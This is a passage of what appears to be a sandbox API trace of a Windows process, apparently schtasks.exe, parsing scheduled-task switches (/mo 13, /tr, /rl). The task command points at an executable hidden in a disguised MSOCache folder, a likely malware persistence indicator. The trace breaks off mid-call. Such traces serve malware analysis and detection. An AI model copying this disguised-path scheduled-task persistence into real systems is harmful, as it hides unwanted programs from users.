lstrlenW (lpString="?") returned 1 [0115.897] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.897] lstrlenW (lpString="mo") returned 2 [0115.897] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.897] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.897] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.897] lstrlenW (lpString="|?|") returned 3 [0115.897] lstrlenW (lpString="|mo|") returned 4 [0115.897] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.897] lstrlenW (lpString="create") returned 6 [0115.897] lstrlenW (lpString="create") returned 6 [0115.897] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.897] lstrlenW (lpString="mo") returned 2 [0115.897] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.897] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.897] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.898] lstrlenW (lpString="|create|") returned 8 [0115.898] lstrlenW (lpString="|mo|") returned 4 [0115.898] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0115.898] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.898] lstrlenW (lpString="delete") returned 6 [0115.898] lstrlenW (lpString="delete") returned 6 [0115.898] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.898] lstrlenW (lpString="mo") returned 2 [0115.898] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.898] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|delete|") returned 8 [0115.898] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.898] lstrlenW (lpString="|delete|") returned 8 [0115.898] lstrlenW (lpString="|mo|") returned 4 [0115.898] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0115.898] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.898] lstrlenW (lpString="query") returned 5 [0115.898] lstrlenW (lpString="query") returned 5 [0115.898] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.898] lstrlenW (lpString="mo") returned 2 [0115.898] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.898] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x8, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|query|") returned 7 [0115.898] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.898] lstrlenW (lpString="|query|") returned 7 [0115.898] lstrlenW (lpString="|mo|") returned 4 [0115.898] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0115.898] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.898] lstrlenW (lpString="change") returned 6 [0115.898] lstrlenW (lpString="change") returned 6 [0115.898] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.899] lstrlenW (lpString="mo") returned 2 [0115.899] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.899] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|change|") returned 8 [0115.899] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.899] lstrlenW (lpString="|change|") returned 8 [0115.899] lstrlenW (lpString="|mo|") returned 4 [0115.899] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0115.899] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.899] lstrlenW (lpString="run") returned 3 [0115.899] lstrlenW (lpString="run") returned 3 [0115.899] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.899] lstrlenW (lpString="mo") returned 2 [0115.899] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.899] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|run|") returned 5 [0115.899] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.899] lstrlenW (lpString="|run|") returned 5 [0115.899] lstrlenW (lpString="|mo|") returned 4 [0115.899] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0115.899] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.899] lstrlenW (lpString="end") returned 3 [0115.899] lstrlenW (lpString="end") returned 3 [0115.899] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.899] lstrlenW (lpString="mo") returned 2 [0115.899] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.899] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|end|") returned 5 [0115.899] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.900] lstrlenW (lpString="|end|") returned 5 [0115.900] lstrlenW (lpString="|mo|") returned 4 [0115.900] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] lstrlenW (lpString="showsid") returned 7 [0115.900] lstrlenW (lpString="showsid") returned 7 [0115.900] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.900] lstrlenW (lpString="mo") returned 2 [0115.900] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.900] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0xa, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|showsid|") returned 9 [0115.900] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|mo|") returned 4 [0115.900] lstrlenW (lpString="|showsid|") returned 9 [0115.900] lstrlenW (lpString="|mo|") returned 4 [0115.900] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] lstrlenW (lpString="/mo") returned 3 [0115.900] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] lstrlenW (lpString="/mo") returned 3 [0115.900] GetProcessHeap () returned 0x1b207920000 [0115.900] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x8) returned 0x1b2079247c0 [0115.900] GetProcessHeap () returned 0x1b207920000 [0115.900] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b3f0 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.900] lstrlenW (lpString="13") returned 2 [0115.900] lstrlenW (lpString="-/") returned 2 [0115.901] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] lstrlenW (lpString="13") returned 2 [0115.901] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] lstrlenW (lpString="13") returned 2 [0115.901] GetProcessHeap () returned 0x1b207920000 [0115.901] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x6) returned 0x1b2079247e0 [0115.901] GetProcessHeap () returned 0x1b207920000 [0115.901] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b5a0 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] lstrlenW (lpString="/tr") returned 3 [0115.901] lstrlenW (lpString="-/") returned 2 [0115.901] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.901] lstrlenW (lpString="?") returned 1 [0115.901] lstrlenW (lpString="?") returned 1 [0115.901] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.901] lstrlenW (lpString="tr") returned 2 [0115.901] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.901] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.901] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.901] lstrlenW (lpString="|?|") returned 3 [0115.901] lstrlenW (lpString="|tr|") returned 4 [0115.901] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.901] lstrlenW (lpString="create") returned 6 [0115.901] lstrlenW (lpString="create") returned 6 [0115.901] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.902] lstrlenW (lpString="tr") returned 2 [0115.902] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.902] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.902] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.902] lstrlenW (lpString="|create|") returned 8 [0115.902] lstrlenW (lpString="|tr|") returned 4 [0115.902] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0115.902] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.902] lstrlenW (lpString="delete") returned 6 [0115.902] lstrlenW (lpString="delete") returned 6 [0115.902] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.902] lstrlenW (lpString="tr") returned 2 [0115.902] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.902] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|delete|") returned 8 [0115.902] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.902] lstrlenW (lpString="|delete|") returned 8 [0115.902] lstrlenW (lpString="|tr|") returned 4 [0115.902] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0115.902] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.902] lstrlenW (lpString="query") returned 5 [0115.902] lstrlenW (lpString="query") returned 5 [0115.902] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.902] lstrlenW (lpString="tr") returned 2 [0115.902] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.903] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x8, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|query|") returned 7 [0115.903] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.903] lstrlenW (lpString="|query|") returned 7 [0115.903] lstrlenW (lpString="|tr|") returned 4 [0115.905] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0115.905] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.905] lstrlenW (lpString="change") returned 6 [0115.905] lstrlenW (lpString="change") returned 6 [0115.905] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.905] lstrlenW (lpString="tr") returned 2 [0115.905] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.905] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|change|") returned 8 [0115.905] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.905] lstrlenW (lpString="|change|") returned 8 [0115.905] lstrlenW (lpString="|tr|") returned 4 [0115.906] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0115.906] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.906] lstrlenW (lpString="run") returned 3 [0115.906] lstrlenW (lpString="run") returned 3 [0115.906] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.906] lstrlenW (lpString="tr") returned 2 [0115.906] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.906] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|run|") returned 5 [0115.906] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.906] lstrlenW (lpString="|run|") returned 5 [0115.906] lstrlenW (lpString="|tr|") returned 4 [0115.906] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0115.906] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.906] lstrlenW (lpString="end") returned 3 [0115.906] lstrlenW (lpString="end") returned 3 [0115.906] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.906] lstrlenW (lpString="tr") returned 2 [0115.906] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.906] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|end|") returned 5 [0115.906] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.906] lstrlenW (lpString="|end|") returned 5 [0115.906] lstrlenW (lpString="|tr|") returned 4 [0115.906] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0115.906] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.906] lstrlenW (lpString="showsid") returned 7 [0115.906] lstrlenW (lpString="showsid") returned 7 [0115.907] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.907] lstrlenW (lpString="tr") returned 2 [0115.907] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.907] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0xa, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|showsid|") returned 9 [0115.907] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tr|") returned 4 [0115.907] lstrlenW (lpString="|showsid|") returned 9 [0115.907] lstrlenW (lpString="|tr|") returned 4 [0115.907] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] lstrlenW (lpString="/tr") returned 3 [0115.907] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] lstrlenW (lpString="/tr") returned 3 [0115.907] GetProcessHeap () returned 0x1b207920000 [0115.907] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x8) returned 0x1b207924800 [0115.907] GetProcessHeap () returned 0x1b207920000 [0115.907] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b8d0 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.907] lstrlenW (lpString="-/") returned 2 [0115.907] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.907] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.908] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'" [0115.908] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.908] GetProcessHeap () returned 0x1b207920000 [0115.908] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924820 [0115.908] _memicmp (_Buf1=0x1b207924820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.908] GetProcessHeap () returned 0x1b207920000 [0115.908] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xe) returned 0x1b20792ac10 [0115.908] GetProcessHeap () returned 0x1b207920000 [0115.908] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b20792a9d0 [0115.908] _memicmp (_Buf1=0x1b20792a9d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.908] GetProcessHeap () returned 0x1b207920000 [0115.908] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x9c) returned 0x1b207923bb0 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] lstrlenW (lpString="'C") returned 2 [0115.908] lstrlenW (lpString="-/") returned 2 [0115.908] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.908] GetProcessHeap () returned 0x1b207920000 [0115.908] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x9a) returned 0x1b207923c60 [0115.908] GetProcessHeap () returned 0x1b207920000 [0115.908] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b5d0 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.908] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.909] lstrlenW (lpString="/rl") returned 3 [0115.909] lstrlenW (lpString="-/") returned 2 [0115.909] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.909] lstrlenW (lpString="?") returned 1 [0115.909] lstrlenW (lpString="?") returned 1 [0115.909] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.909] lstrlenW (lpString="rl") returned 2 [0115.909] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.909] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.909] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.909] lstrlenW (lpString="|?|") returned 3 [0115.909] lstrlenW (lpString="|rl|") returned 4 [0115.909] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.909] lstrlenW (lpString="create") returned 6 [0115.909] lstrlenW (lpString="create") returned 6 [0115.909] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.909] lstrlenW (lpString="rl") returned 2 [0115.909] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.909] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.909] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.909] lstrlenW (lpString="|create|") returned 8 [0115.909] lstrlenW (lpString="|rl|") returned 4 [0115.909] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0115.909] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.909] lstrlenW (lpString="delete") returned 6 [0115.909] lstrlenW (lpString="delete") returned 6 [0115.910] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.910] lstrlenW (lpString="rl") returned 2 [0115.910] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.910] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|delete|") returned 8 [0115.910] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.910] lstrlenW (lpString="|delete|") returned 8 [0115.910] lstrlenW (lpString="|rl|") returned 4 [0115.910] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0115.910] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.910] lstrlenW (lpString="query") returned 5 [0115.910] lstrlenW (lpString="query") returned 5 [0115.910] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.910] lstrlenW (lpString="rl") returned 2 [0115.910] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.910] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x8, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|query|") returned 7 [0115.910] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.910] lstrlenW (lpString="|query|") returned 7 [0115.910] lstrlenW (lpString="|rl|") returned 4 [0115.910] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0115.910] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.910] lstrlenW (lpString="change") returned 6 [0115.910] lstrlenW (lpString="change") returned 6 [0115.910] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.911] lstrlenW (lpString="rl") returned 2 [0115.911] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.911] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|change|") returned 8 [0115.911] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.911] lstrlenW (lpString="|change|") returned 8 [0115.911] lstrlenW (lpString="|rl|") returned 4 [0115.911] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0115.911] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.911] lstrlenW (lpString="run") returned 3 [0115.911] lstrlenW (lpString="run") returned 3 [0115.911] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.911] lstrlenW (lpString="rl") returned 2 [0115.911] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.911] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|run|") returned 5 [0115.911] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.911] lstrlenW (lpString="|run|") returned 5 [0115.911] lstrlenW (lpString="|rl|") returned 4 [0115.911] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0115.911] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.911] lstrlenW (lpString="end") returned 3 [0115.911] lstrlenW (lpString="end") returned 3 [0115.911] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.911] lstrlenW (lpString="rl") returned 2 [0115.911] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.911] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|end|") returned 5 [0115.911] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.912] lstrlenW (lpString="|end|") returned 5 [0115.912] lstrlenW (lpString="|rl|") returned 4 [0115.912] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] lstrlenW (lpString="showsid") returned 7 [0115.912] lstrlenW (lpString="showsid") returned 7 [0115.912] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.912] lstrlenW (lpString="rl") returned 2 [0115.912] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.912] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0xa, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|showsid|") returned 9 [0115.912] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|rl|") returned 4 [0115.912] lstrlenW (lpString="|showsid|") returned 9 [0115.912] lstrlenW (lpString="|rl|") returned 4 [0115.912] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] lstrlenW (lpString="/rl") returned 3 [0115.912] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] lstrlenW (lpString="/rl") returned 3 [0115.912] GetProcessHeap () returned 0x1b207920000 [0115.912] RtlAllocateHeap 